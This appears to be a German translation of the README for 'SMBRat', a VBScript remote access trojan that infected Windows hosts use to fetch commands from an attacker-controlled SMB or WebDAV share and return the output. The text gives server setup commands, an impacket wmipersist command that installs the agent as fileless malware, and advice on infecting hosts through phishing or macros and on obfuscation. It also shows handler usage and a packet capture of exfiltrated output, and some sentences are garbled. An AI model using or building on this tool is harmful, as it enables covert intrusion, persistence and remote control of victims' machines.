
Ein Windows-Fernverwaltungstool in Visual Basic mit UNC-Pfaden
Ein Windows-Remote-Administrationstool in Visual Basic Script
Windows-Umgebungen wie Active-Directory-Netzwerke werden durch SMB-Datenverkehr richtig aufgebläht.
Alle Hosts beziehen Richtlinien aus dem SYSVOL, Konfigurationen benötigen Remote-Dateien, um zu funktionieren, Desktop-Verknüpfungen zeigen oft auf \\something\else\in\the\network.exe.
Niemand würde einen weiteren Verbindungsversuch bemerken. Oder?
- Besonders wenn er erfolgreich ist (es ist Mode, nur Firewall-Denies zu überwachen)
Der agent ist ein Visual Basic Script, das auf dem infizierten Host läuft und eine Verbindung zum SMB-Server herstellt. Dort erstellt er ein Verzeichnis, das nach dem hostname und der primären MAC-Adresse des Hosts benannt ist (um für Berichtszwecke gleichzeitig eindeutig und aussagekräftig zu sein). Alle Befehle und Informationen für den infizierten Host werden in diesem Verzeichnis gespeichert. Wenn Sie den gesamten freigegebenen Ordner zippen, wird das gesamte Projekt archiviert!
Es verwendet KEINEN Laufwerksbuchstaben, um die Freigabe einzubinden, sondern nutzt nur UNC paths, um Remote-Dateien direkt zu lesen (in explorer.exe wird kein Laufwerk erstellt).
Außerdem injiziert es den UNC path in die %PATH%-Variable seiner eigenen Ausführungsumgebung (Sie können ausführbare Dateien direkt vom Dateisystem Ihrer Linux-Maschine aus ausführen).
Der agent ist so konfiguriert, dass er einmal läuft. Zustandslos.
Seine Routine sieht (mehr oder weniger) wie folgt aus:
exec.dat.cmd.exe /c <command> als Befehl aus, ähnlich wie eine halb-interaktive Shell.output.dat gespeichert (neben exec.dat).exec.dat.Der handler benötigt einen SMB-Server, um zu funktionieren. Das smbserver.py-Modul aus dem Paket das impacket von Core Security reicht aus.
Wahrscheinlich würde smbd den Zweck ebenfalls erfüllen, wurde aber noch nicht getestet.
Eine Freigabe mit dem Namen D$ ist erforderlich, um wie das SMB eines legitimen Windows-Hosts auszusehen.
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Da der agent so konfiguriert ist, dass er ausschließlich UNC paths verwendet, kann WebDAV mit null Änderungen ebenfalls genutzt werden.
Anstelle eines SMB-Servers kann ein WebDAV-Server verwendet werden (ein großartiger WebDAV-Server mit SSL-Unterstützung ist wsgidav).
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO : WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO : Lock manager: LockManager(LockStorageDict)
[...] INFO : Property manager: None
[...] INFO : Domain controller: SimpleDomainController()
[...] INFO : Registered DAV providers by route:
[...] INFO : - '/:dir_browser': FilesystemProvider for path '/root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
[...] INFO : - '/': FilesystemProvider for path '/tmp/DAV' (Read-Write) (anonymous)
[...] WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING : Share '/:dir_browser' will allow anonymous read access.
[...] WARNING : Share '/' will allow anonymous write access.
[...] INFO : Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO : Serving on http://0.0.0.0:80 ...
[...] INFO : 192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] "PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat" length=0, depth=0, elap=0.004sec -> 207 Multi-Status
Für die SSL-Unterstützung müssen die UNC-Pfade leicht geändert werden, von:
\\<Server-IP>\DIR\
zu:
\\<Server-IP>@SSL@443\DIR\
Diese Änderung kann nur an der Variablen ServerName in agent.vbs vorgenommen werden, da alle Pfade daraus konstruiert werden.
Beachten Sie, dass die SSL-Zertifikate vom System, auf dem der agent läuft, als vertrauenswürdig eingestuft werden müssen. Selbstsignierte Zertifikate schlagen mit Warnungen fehl.
Eine While-Schleife kann am Anfang der Datei agent.vbs ergänzt werden, mit einer Verzögerungsanweisung von mehreren Sekunden (10 Sekunden sind ideal), und sie wird in der Lage sein, Windows-Hosts per Doppelklick / Phishing / Excel-Makros / usw. zu infizieren.
Eine while True-Schleife in VBS mit einer Verzögerung von 1 Sekunde sieht so aus:
Do While True
[...]
WScript.Sleep 1000
Loop
Wenn ein Windows-Host jedoch RPC aktiviert hat, ist es möglich, die VBS-Datei als dateilose Schadsoftware über WMI und die fabelhaften Beispiele des impacket-Pakets mit einem Befehl wie dem folgenden zu installieren:
$ examples/wmipersist.py '<username>:<password>@<hostname/ipaddress>' install -vbs agent.vbs -name smbrat -timer 10
Es ist auch möglich, das WMI-Tool bei lokalem Zugriff zu nutzen, um agent.vbs als dateilose Schadsoftware zu installieren.
Visual Basic-Skripte lassen sich gut verschleiern, base64-kodieren sowie minifizieren.
Es kann sehr nützlich sein, es vor dem „Deployment“ auszuprobieren 😉
Zum Zeitpunkt des Schreibens ist keine daher kann die Nutzung einfach mit einem Befehl wie Handler-Shell implementiert,watch erfolgen, um die Datei output.dat zu überwachen:
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/output.dat
und mit echo, um Daten in die Datei exec.dat zu schreiben:
$ echo 'whoami /all' > Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/exec.dat
handler.py-SkriptDie experimentelle Shell funktioniert wie folgt:
$ python handler.py Share/
SMBRat>
# When a new host gets infected:
[+] Agent "DESKTOP-EG4OE7J" (00:0C:29:2B:9F:AF) just checked-in for Project: "projectName"
SMBRat> execall whoami /user
[>] Sending 'whoami /user' to "projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF" ...
SMBRat>
[<] Response from 'projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF':
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority\system S-1-5-18
^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat>
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
[...]
15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)
E...,E@[email protected].../.../....8
.&Mi~.6P..>.......[.SMB........................
.@............ .;........... .net localgroup "administrators"
[...]
15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)
E...E.@......./.../..8..i~..
.'*P....b.......SMB2......................
.F..z.....(...........z.D.........}..........\.p.r.o.j.e.c.t.N.a.m.e.\.D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F.\.o.u.t.p.u.t...d.a.t...
[...]
15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)
[email protected]../.../..8..i~.
.).P....*.....T.SMB........................
.T....$.......'..$.Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.
[...]
Der Datenverkehr (Datei-Inhalte und Pfade) wird im Klartext übertragen, wenn ein SMBv1-Server verwendet wird (z. B. smbserver.py von impacket).
Alle Agenten können Dateien in der gesamten Freigabe ändern. Das bedeutet, sie können das exec.dat anderer Agenten ändern ...
Ein smbmap wird Licht ins Dunkel bringen:
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445 Name: Deskjet-4540
Disk Permissions
---- -----------
D$ READ, WRITE
[!] Unable to remove test directory at \\172.16.47.189\D$\SVNRmxBFAO, plreae remove manually
IPC$ READ, WRITE
[!] Unable to remove test directory at \\172.16.47.189\IPC$\SVNRmxBFAO, plreae remove manually
-u und -p von smbmap.Dies ist eine NULL-Sitzung (wie ein anonymer FTP-Login). JEDER kann die SHARE-Dateien ändern und auf allen infizierten Maschinen Remote Code Execution erhalten.
iptables-Regeln aufsetzen ...Geben Sie execall netsh ein, und Sie haben alle Ihre Agenten verloren. Keiner wird antworten, da agent.vbs die netsh.exe-Shell startet und darauf wartet, dass sie beendet wird, damit es ihren Inhalt in output.dat schreiben kann. Aber raten Sie mal ... Sie wird sich nicht beenden ... Sie bleibt einfach mit dem netsh>-Prompt hängen, der ins Leere zeigt.